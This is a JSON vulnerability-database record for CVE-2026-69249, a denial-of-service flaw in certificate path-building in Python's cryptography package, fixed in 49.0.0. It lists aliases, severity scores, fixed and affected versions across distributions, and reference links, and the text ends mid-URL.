{"id":"CVE-2026-69249","aliases":["ALSA-2026:64774","ALSA-2026:64795","ALSA-2026:71658","AZL-94584","CLSA-2026-1788513782","CLSA-2026-1789017625","CLSA-2026-1789365078","CLSA-2026-1789377631","CLSA-2026-1789377744","CLSA-2026-1789379340","CLSA-2026-1789552762","DEBIAN-CVE-2026-69249","EUVD-2026-52450","GHSA-jwv3-5hgf-82ww","OESA-2026-3457","OESA-2026-3458","OESA-2026-3459","PYSEC-2026-3553","RHSA-2026:55543","RHSA-2026:64774","RHSA-2026:64795","RHSA-2026:71658","RHSA-2026:71659","RLSA-2026:64774","RLSA-2026:64795","RLSA-2026:71658","SUSE-SU-2026:23196-1","SUSE-SU-2026:23247-1","SUSE-SU-2026:23404-1","SUSE-SU-2026:23570-1","UBUNTU-CVE-2026-69249","USN-8776-1","openSUSE-SU-2026:21685-1"],"status":"published","title":"python-cryptography: Duplicate self-signed intermediates can cause exponential path-building","description":"python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00262,"percentile":0.18048,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400"],"published":"2026-08-03T21:26:45Z","modified":"2026-11-05T05:40:51Z","fixes":[{"ecosystem":"PyPI","package":"cryptography","fixed_in":["49.0.0"],"sources":["ghsa","osv"]},{"ecosystem":"AlmaLinux:10","package":"python3-cryptography","fixed_in":["43.0.0-4.el10_2.5"],"sources":["osv"]},{"ecosystem":"Azure Linux:3","package":"python-cryptography","fixed_in":["42.0.5-6"],"sources":["osv"]},{"ecosystem":"TuxCare:PyPI","package":"cryptography","fixed_in":["43.0.1.post2+tuxcare","42.0.8.post3+tuxcare","42.0.0.post2+tuxcare","43.0.3.post4+tuxcare"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-cryptography","fixed_in":["49.0.0-1"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP3","package":"python-cryptography","fixed_in":["42.0.2-10.oe2403sp3"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP4","package":"python-cryptography","fixed_in":["42.0.2-10.oe2403sp4"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP1","package":"python-cryptography","fixed_in":["42.0.2-10.oe2403sp1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.2","package":"python-cryptography","fixed_in":["0:43.0.0-4.el10_2.5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.2","package":"python-cryptography-debugsource","fixed_in":["0:43.0.0-4.el10_2.5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.2","package":"python3-cryptography","fixed_in":["0:43.0.0-4.el10_2.5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.2","package":"python3-cryptography-debuginfo","fixed_in":["0:43.0.0-4.el10_2.5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux_eus:10.0","package":"python-cryptography","fixed_in":["0:43.0.0-4.el10_0.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux_eus:10.0","package":"python-cryptography-debugsource","fixed_in":["0:43.0.0-4.el10_0.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux_eus:10.0","package":"python3-cryptography","fixed_in":["0:43.0.0-4.el10_0.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux_eus:10.0","package":"python3-cryptography-debuginfo","fixed_in":["0:43.0.0-4.el10_0.1"],"sources":["osv"]},{"ecosystem":"Rocky Linux:10","package":"python-cryptography","fixed_in":["0:43.0.0-4.el10_2.5"],"sources":["osv"]},{"ecosystem":"Ubuntu:26.04:LTS","package":"python-cryptography","fixed_in":["46.0.5-1ubuntu2.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"42.0.0"},{"fixed":"49.0.0"}]}]},{"source":"osv","ecosystem":"AlmaLinux:9","package":"python3.14-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"45.0.4-4.el9_8.6"}]}],"bundled":2},{"source":"osv","ecosystem":"AlmaLinux:10","package":"python3.14-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"45.0.4-4.el10_2.5"}]}],"bundled":2},{"source":"osv","ecosystem":"AlmaLinux:10","package":"python3-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"43.0.0-4.el10_2.5"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"42.0.5-6"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"46.0.7"},{"fixed":"46.0.7.post2+tuxcare"}]}],"versions":["46.0.7","46.0.7.post1+tuxcare"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"45.0.7"},{"fixed":"45.0.7.post4+tuxcare"}]}],"versions":["45.0.7","45.0.7.post1+tuxcare","45.0.7.post2+tuxcare","45.0.7.post3+tuxcare"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"44.0.3"},{"fixed":"44.0.3.post4+tuxcare"}]}],"versions":["44.0.3","44.0.3.post1+tuxcare","44.0.3.post2+tuxcare","44.0.3.post3+tuxcare"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"43.0.1"},{"fixed":"43.0.1.post2+tuxcare"}]}],"versions":["43.0.1","43.0.1.post1+tuxcare"]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"42.0.8"},{"fixed":"42.0.8.post3+tuxcare"}]}],"versions":["42.0.8","42.0.8.post1+tuxcare","42.0.8.post2+tuxcare"]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"42.0.0"},{"fixed":"42.0.0.post2+tuxcare"}]}],"versions":["42.0.0","42.0.0.post1+tuxcare"]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"43.0.3"},{"fixed":"43.0.3.post4+tuxcare"}]}],"versions":["43.0.3","43.0.3.post1+tuxcare","43.0.3.post2+tuxcare","43.0.3.post3+tuxcare"]},{"source":"osv","ecosystem":"Debian:12","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["38.0.4-3","38.0.4-3+deb12u1","38.0.4-4","41.0.7-1","41.0.7-2","41.0.7-3","41.0.7-4","41.0.7-5","42.0.5-1","42.0.5-2","43.0.0-1","43.0.0-2","43.0.0-3","44.0.2-1","44.0.2-2","45.0.6-1","45.0.6-1~exp1","45.0.7-1","46.0.1-1","46.0.1-1~exp1","46.0.5-1","46.0.5-2","46.0.6-1","46.0.7-1","47.0.0-1","49.0.0-1","49.0.0-1~exp1","49.0.0-2","50.0.2-1~exp1"]},{"source":"osv","ecosystem":"Debian:13","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["43.0.0-3","43.0.0-3+deb13u1","44.0.2-1","44.0.2-2","45.0.6-1","45.0.6-1~exp1","45.0.7-1","46.0.1-1","46.0.1-1~exp1","46.0.5-1","46.0.5-2","46.0.6-1","46.0.7-1","47.0.0-1","49.0.0-1","49.0.0-1~exp1","49.0.0-2","50.0.2-1~exp1"]},{"source":"osv","ecosystem":"Debian:14","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"49.0.0-1"}]}],"versions":["43.0.0-3","44.0.2-1","44.0.2-2","45.0.6-1","45.0.6-1~exp1","45.0.7-1","46.0.1-1","46.0.1-1~exp1","46.0.5-1","46.0.5-2","46.0.6-1","46.0.7-1","47.0.0-1","49.0.0-1~exp1"]},{"source":"osv","ecosystem":"PyPI","package":"cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"42.0.0"},{"fixed":"49.0.0"}]}],"versions":["42.0.0","42.0.1","42.0.2","42.0.3","42.0.4","42.0.5","42.0.6","42.0.7","42.0.8","43.0.0","43.0.1","43.0.3","44.0.0","44.0.1","44.0.2","44.0.3","45.0.0","45.0.1","45.0.2","45.0.3","45.0.4","45.0.5","45.0.6","45.0.7","46.0.0","46.0.1","46.0.2","46.0.3","46.0.4","46.0.5","46.0.6","46.0.7","47.0.0","48.0.0","48.0.1"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"42.0.2-10.oe2403sp3"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"42.0.2-10.oe2403sp4"}]}]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"42.0.2-10.oe2403sp1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"49.0.0"}]}],"versions":["0.1","0.2","0.2.1","0.2.2","0.3","0.4","0.5","0.5.1","0.5.2","0.5.3","0.5.4","0.6","0.6.1","0.7","0.7.1","0.7.2","0.8","0.8.1","0.8.2","0.9","0.9.1","0.9.2","0.9.3","1.0","1.0.1","1.0.2","1.1","1.1.1","1.1.2","1.2","1.2.1","1.2.2","1.2.3","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.5","1.5.1","1.5.2","1.5.3","1.6","1.7","1.7.1","1.7.2","1.8","1.8.1","1.8.2","1.9","2.0","2.0.1","2.0.2","2.0.3","2.1","2.1.1","2.1.2","2.1.3","2.1.4","2.2","2.2.1","2.2.2","2.3","2.3.1","2.4","2.4.1","2.4.2","2.5","2.6","2.6.1","2.7","2.8","2.9","2.9.1","2.9.2","3.0","3.1","3.1.1","3.2","3.2.1","3.3","3.3.1","3.3.2","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.4.6","3.4.7","3.4.8","35.0.0","36.0.0","36.0.1","36.0.2","37.0.0","37.0.1","37.0.2","37.0.3","37.0.4","38.0.0","38.0.1","38.0.2","38.0.3","38.0.4","39.0.0","39.0.1","39.0.2","40.0.0","40.0.1","40.0.2","41.0.0","41.0.1","41.0.2","41.0.3","41.0.4","41.0.5","41.0.6","41.0.7","42.0.0","42.0.1","42.0.2","42.0.3","42.0.4","42.0.5","42.0.6","42.0.7","42.0.8","43.0.0","43.0.1","43.0.3","44.0.0","44.0.1","44.0.2","44.0.3","45.0.0","45.0.1","45.0.2","45.0.3","45.0.4","45.0.5","45.0.6","45.0.7","46.0.0","46.0.1","46.0.2","46.0.3","46.0.4","46.0.5","46.0.6","46.0.7","47.0.0","48.0.0","48.0.1"]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:50.0.0-1.hum1"}]}],"bundled":24},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"python3-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:50.0.0-1.hum1"}]}],"bundled":24},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"python3.14-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:45.0.4-4.el9_8.6"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"python3.14-cryptography-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:45.0.4-4.el9_8.6"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"python3.14-cryptography-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:45.0.4-4.el9_8.6"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"python3.14-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:45.0.4-4.el10_2.5"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"python3.14-cryptography-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:45.0.4-4.el10_2.5"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"python3.14-cryptography-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:45.0.4-4.el10_2.5"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:43.0.0-4.el10_2.5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"python-cryptography-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:43.0.0-4.el10_2.5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"python3-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:43.0.0-4.el10_2.5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"python3-cryptography-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:43.0.0-4.el10_2.5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux_eus:10.0","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:43.0.0-4.el10_0.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux_eus:10.0","package":"python-cryptography-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:43.0.0-4.el10_0.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux_eus:10.0","package":"python3-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:43.0.0-4.el10_0.1"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux_eus:10.0","package":"python3-cryptography-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:43.0.0-4.el10_0.1"}]}]},{"source":"osv","ecosystem":"Rocky Linux:9","package":"python3.14-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:45.0.4-4.el9_8.6"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:10","package":"python3.14-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:45.0.4-4.el10_2.5"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:10","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:43.0.0-4.el10_2.5"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.1","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"42.0.4-slfo.1.1_6.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.0","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"42.0.4-6.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.2","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"44.0.3-160000.5.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"44.0.3-160000.5.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"44.0.3-160000.5.1"}]}],"bundled":3},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"46.0.5-1ubuntu2.2"}]}],"versions":["43.0.0-1ubuntu1","46.0.1-1ubuntu2","46.0.5-1ubuntu1","46.0.5-1ubuntu2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4-1ubuntu1.4+esm6"}]}],"versions":["1.9-1","2.1.3-3","2.1.4-1","2.1.4-1build1","2.1.4-1build2","2.1.4-1ubuntu1","2.1.4-1ubuntu1.1","2.1.4-1ubuntu1.2","2.1.4-1ubuntu1.3","2.1.4-1ubuntu1.4","2.1.4-1ubuntu1.4+esm1","2.1.4-1ubuntu1.4+esm3"],"bundled":4},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"46.0.5-1ubuntu2.2"}]}],"versions":["43.0.0-1ubuntu1","46.0.1-1ubuntu2","46.0.5-1ubuntu1","46.0.5-1ubuntu2"],"bundled":4},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"44.0.3-160000.5.1"}]}],"bundled":3}],"products":[{"vendor":"pyca","product":"cryptography"}],"references":[{"url":"https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww","tags":["x_refsource_CONFIRM","exploit","advisory","web","article","report"]},{"url":"https://github.com/pyca/cryptography/pull/14960","tags":["x_refsource_MISC","fix","web","article","report"]},{"url":"https://github.com/pyca/cryptography/commit/3763aa79b","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582","tags":["x_refsource_MISC","fix","web","article","report"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml","tags":["x_refsource_MISC","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69249","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-jwv3-5hgf-82ww","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:64774","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69248","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69249","tags":["report"]},{"url":"https://bugzilla.redhat.com/2510815","tags":["report"]},{"url":"https://bugzilla.redhat.com/2510830","tags":["report"]},{"url":"https://errata.almalinux.org/9/ALSA-2026-64774.html","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:64795","tags":["advisory"]},{"url":"https://errata.almalinux.org/10/ALSA-2026-64795.html","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:71658","tags":["advisory"]},{"url":"https://errata.almalinux.org/10/ALSA-2026-71658.html","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/69xxx/CVE-2026-69249.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-69249","tags":["advisory"]},{"url":"https://github.com/pyca/cryptography","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3457","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3458","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3459","tags":["advisory"]},{"url":"https://pypi.org/project/cryptography","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:55543","tags":["advisory"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54876","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-75803","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69247","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42769","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42768","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-34181","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-34180","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-7383","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45447","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42766","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45446","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42767","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45445","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-9076","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-34183","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42765","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42771","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-35188","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42764","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42770","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-34182","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-84782","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_55543.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481879","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-7383","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7383","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481880","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-9076","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9076","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481881","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-34180","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34180","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481882","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-34181","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34181","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481884","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-34182","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34182","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481885","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-34183","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34183","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481886","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-35188","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35188","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481887","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42764","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42764","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481889","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42765","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42765","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481890","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42766","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42766","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481891","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42767","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42767","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481892","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42768","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42768","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481893","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42769","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42769","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481894","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42770","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42770","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481895","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42771","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42771","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481896","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45445","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45445","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481897","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45446","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45446","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481898","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45447","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45447","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2511600","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54876","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54876","tags":["advisory"]},{"url":"https://github.com/openssl/openssl/commit/155b5fe0f93365e6df1c56ee3606b121080c6c12","tags":["article"]},{"url":"https://github.com/openssl/openssl/commit/d8c51048ac037a21bae0f41cad7a3920dc7f3638","tags":["article"]},{"url":"https://openssl-library.org/news/secadv/20260805.txt","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510835","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69247","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69247","tags":["advisory"]},{"url":"https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f","tags":["article"]},{"url":"https://github.com/pyca/cryptography/pull/15369","tags":["article"]},{"url":"https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510830","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69248","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69248","tags":["advisory"]},{"url":"https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2","tags":["article"]},{"url":"https://github.com/pyca/cryptography/pull/14888","tags":["article"]},{"url":"https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510815","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69249","tags":["advisory","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2523425","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-75803","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75803","tags":["advisory"]},{"url":"https://github.com/openssl